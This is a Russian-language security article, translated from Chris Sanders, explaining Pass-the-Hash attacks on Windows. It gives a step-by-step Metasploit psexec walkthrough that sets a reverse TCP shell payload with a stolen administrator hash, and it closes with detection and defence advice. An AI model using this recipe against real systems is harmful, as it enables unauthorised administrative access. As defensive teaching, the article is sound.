Поиск на сайте: Расширенный поиск


Новые программы oszone.net Читать ленту новостей RSS
Aml Pages - это электронная записная книжка, оперативный блокнот на все случаи жизни, каталогизатор документов. Позволяе...
McAfee Stinger - это бесплатный, не требующий установки антивирус, для обнаружения и удаления с компьютера известных вир...
Удобная программа для работы с музыкальными коллекциями. Она понимает самые распространенные виды музыкальных форматов, ...
Программа для управления драйверами, которая позволяет полностью удалить драйвер из системы. Driver Fusion позволяет уда...
Программа для видеочатов высокого качества, обмена сообщениями и дешевыми звонками на телефоны в любую страну....
OSzone.net Microsoft Информационная безопасность Анатомия атак типа «Pass the Hash» RSS

Анатомия атак типа «Pass the Hash»

Текущий рейтинг: 4.29 (проголосовало 7)
 Посетителей: 3111 | Просмотров: 4762 (сегодня 0)  Шрифт: - +

Специалисты в области информационной безопасности часто концентрируют массу вашего внимания на том, чтобы убедиться в строгости политик безопасности и сложности паролей, с целью устранить возможность взлома со стороны злоумышленников. Я же написал двухчастную статью, подробно описывающую, как работают пароли в Windows, и как их можно взламывать, - ' Как я взломал ваш пароль в Windows'. В этой статье рассказывается о том, как пароли хэшируются и хранятся, и как злоумышленники могут взламывать такие пароли.

Более того, как вы отреагируете, если я скажу вам, что при определенных условиях мне даже не понадобится взламывать ваши пароли, чтобы получить такой доступ к системе, как будто бы я воспользовался вашим именем пользователя и паролем? Нет, я говорю не про некие особые уязвимости типа 0-day или про то, чтобы обманом заставить вас нажать на зараженную ссылку в фишинговом электронном письме. Сделать это очень просто при помощи техники под названием «Pass the Hash». В этой статье мы рассмотрим, как работает данная техника, и я покажу вам способ получения украденных хэшей паролей и успешного их применения без необходимости взламывать содержимое. Как обычно, я раскрою и некоторые приемы обнаружения и защиты от подобных атак.

Хэши на пакетном уровне

Когда вы создаете пароль для аккаунта в Windows, он преобразуется в хэш. Хэш представляет собой результат криптографической функции, которая принимает на вход строку данных произвольной длины, осуществляет математическое преобразование и на выходе дает строку фиксированной длины. В итоге, вместо того, чтобы хранить пароль 'PassWord123', у вас будет хранится хэш-строка '94354877D5B87105D7FEC0F3BF500B33.' Такой подход обусловлен двумя причинами. Во-первых, это означает, что ваш пароль не хранится на локальном жестком диске в виде обычного текста, который может прочитать каждый; а во-вторых, ваш пароль не передается по сети в виде текста при авторизации на другом устройстве (например, на контроллере домена). Я не буду в этой статье подробно останавливаться на том, как именно производится хэширование, но если вы хотите ознакомиться с этим процессом, посмотрите мою старую статью по взлому паролей в Windows здесь.

Когда вы пытаетесь получить доступ к компьютеру, защищенному именем пользователя и паролем, хост предложит вам авторизоваться. Обычно вводятся имя пользователя и пароль. После ввода пароля компьютер производит хэширование пароля и отправляет его хосту для сравнения со значением, содержащимся в базе данных. Если хэши совпадают, доступ открывается.

*
Увеличить

Рисунок 1: Нормальная попытка соединения на базе аутентификации

А теперь давайте рассмотрим другую ситуацию. Что если мы вручную установим соединение с хостом, на котором имеется требуемый ресурс, но вместо того, чтобы давать ему свое имя и пароль, мы передадим имя администратора и его хэш, который мы украли? Мы получаем административный доступ к этому хосту. Не забывайте, что хост волнует лишь получение хэша, соответствующего нужному паролю. То есть вам не обязательно применять функцию хэширования над паролем, нужно только передать хэш, на чем атака и основана.

*
Увеличить

Рисунок 2: Передача хэша целевому хосту напрямую

Использование Metasploit для «Pass the Hash»

Сейчас, разобравшись с теорией, лежащей в основе атак, пора перейти к практике. Нашей задачей будет передать украденный хэш пользователя с правами администратора системе-жертве. Чтобы осуществить эту атаку, нам понадобятся две вещи. Во-первых, нам нужен украденный хэш администратора. Есть несколько различных методов получения хэшей паролей, самый популярный из которых обсуждается здесь. Кроме украденного хэша нам нужна копия Metasploit, инструмента для осуществления атаки.

Metasploit – это свободно распространяемый фреймворк для тестирования взлома, разработанный в HD Moore (сейчас Rapid7). В свободном доступе есть тысячи статей и тренировочных курсов по Metasploit, и хотя мы воспользуемся им для вполне конкретного типа атак, он способен атаковать и по многим другим направлениям. Metasploit можно взять отсюда.

Или вы можете загрузить и работать с Backtrack 4. BT4 – это линуксовый дистрибутив live-CD, созданный специально для тестирования взлома и внедрения, в котором есть масса предустановленных и прекомпилированных инструментов, включая Metasploit. Загрузить BT4 можно отсюда. Metasploit вы обнаружите в папке /pentest/exploit/framework3. Скриншоты примеров, показываемые в остальной части статьи, берутся из BT4.

Имея на руках украденный хэш и Metasploit, мы начинаем подготовку к атаке. Для начала нужно запустить консоль Metasploit. В BT4 для этого нужно перейти в папку /pentest/exploit/framework3 и набрать ./msfconsole.

*
Увеличить

Рисунок 3: Запуск консоли Metasploit

Metasploit – настоящий Фреймворк, состоящий из различных модулей, используя которые он решает свои задачи. В нашем случае мы воспользуемся модулем psexec. Psexec – это обычный инструмент (используется не только в Metasploit), который нужен для удаленного запуска процессов в системе и перенаправления результатов работы этих процессов обратно в систему, через которую вы работаете. Для работы с модулем введите use windows\smb\psexec и нажмите Enter. Состояние командной оболочки, которой вы пользуетесь, должно отразить использование этого модуля.

*

Рисунок 4: Использование модуля psexec

Теперь мы должны установить тип отправляемой функциональной части. Metasploit открывает самое базовое соединение с нашей жертвой, поэтому когда с помощью имени и хэша мы проходит авторизацию, функциональная часть определит, какие задачи мы выполняем через psexec. В нашем случае у нас масса злых намерений для нашей жертвы, поэтому вместо открытия какой-то одной программы, мы хотим запустить командную оболочку, чтобы можно было наделать много всякого. Один из самых эффективных для этого методов – воспользоваться обратной TCP-оболочкой. Вот и вся функциональность: запуск экземпляра cmd.exe и отправка данных через наше соединение для удаленного доступа. Для установки этого типа функциональной части введите set payload windows/shell_reverse_tcp.

*
Увеличить

Рисунок 5: Установка функциональной части для обратной TCP-оболочки

Для работы этого модуля и требуемой функциональности нужно настроить некоторые опции. Для этого введите show options и нажмите Enter.

*

Рисунок 6: Настраиваемые опции для данного модуля и требуемой функциональности

Для установки нужных нам опций воспользуемся синтаксисом 'set [название опции] [значение]'. Нужно установить следующие опции:

  • RHOST ' IP-адрес жертвы
  • SMBPass ' Украденный хэш жертвы
  • SMBUser ' Имя пользователя жертвы
  • LHOST ' IP-адрес атакующей машины

В большинстве ситуаций этих четырех опции вам будет достаточно, все остальное можно оставлять по умолчанию. После настройки результат должен соответствовать показанному на Рисунке 7.

*
Увеличить

Рисунок 7: Опции атаки настроены

На данный момент все приготовления завершены, и мы можем приступать к атаке. Для этого просто введите exploit и нажмите Enter. В случае успеха, вы увидите нечто похожее на то, что показано на Рисунке 8 - на нормальную командную оболочку Windows. И теперь у нас есть административный контроль над машиной без знания пароля администратора.

*
Увеличить

Рисунок 8: Успешная атака дает нам командный процессор Windows

Защита против «Pass the Hash»

Атаки «Passing the hash» трудно обнаруживать и предотвращать из-за самой природы процесса авторизации. Сделать тут можно совсем немного:

  • Мониторинг системой обнаружения вторжений(СОВ) - Пользуясь СОВ, вы вряд ли сможете поймать за руку злоумышленника, который пытается использовать атаку типа «pass the hash», поскольку обычно это выглядит как обычная авторизационная последовательность. Однако вам может и удастся обнаружить атаку, основываясь на тех действиях, которые осуществляет злоумышленник после получения доступа. Например, в нашем тестовом сценарии вы не увидели бы предупреждение от СОВ при атаке машины жертвы, но заметили бы предупреждение, когда psexec создает оболочку и отправляет ее назад по сети. Это позволит вам обнаружит атаку и принять соответствующие меры.
  • Изоляция важных систем - Все машины, содержащие важные данные, должны быть изолированы. При помощи соответствующих настроек маршрутизаторов и брандмауэров вы сможете ограничить доступ к местам, где содержатся важные данные. При этом пользователи не должны быть в состоянии проводить атаки типа «pass the hash» для получения доступа к важным системам.
  • Двухфакторная авторизация - Расчет на пароли как на единственное средство авторизации уходит в прошлое, и это правильно. Чтобы авторизация пользователя была достаточно надежной, она должна состоять из двух или даже трех факторов. Эти факторы могут включать в себя: что-то, что вам известно (пароль); что-то, что у вас есть (смарт-карт, маркер) и что-то, что присуще только вам (отпечаток пальца, рисунок радужной оболочки глаза). Комбинация двух или трех из таких факторов предотвращает возможность авторизовываться с помощью только пароля или украденного хэша.
  • Ограничение административного доступа - Чем больше пользовательских аккаунтов имеет административные права, тем выше возможность того, что их хэши украдут и будут использовать для управления машинами с наивысшими привилегиями. Необходимо всегда проводить регулярные проверки с целью определить, имеет ли какой-нибудь пользователь доступ административного уровня.

Заключение

Атаки типа «Passing the hash» очень простые для исполнения и летальны для жертвы. Как вы видели в этой статье, проведение ее требует всего пары инструментов и немного желания – вот и все, что нужно хакеру, чтобы сломать вашу инфраструктуру. Надеюсь, что те знания об этой атаке и о стратегиях ее обнаружения и предотвращения, которые мы сегодня обсудили, помогут вам лучше подготовить к защите и реакции на такие атаки в случае обнаружения их в вашей сети.

Автор: Крис Сандерс  •  Иcточник: www.winsecurity.ru  •  Опубликована: 14.03.2011
Нашли ошибку в тексте? Сообщите о ней автору: выделите мышкой и нажмите CTRL + ENTER


Оценить статью:
Вверх
Комментарии посетителей RSS

Чтобы оставить комментарий, зарегистрируйтесь или войдите с учетной записью социальной сети.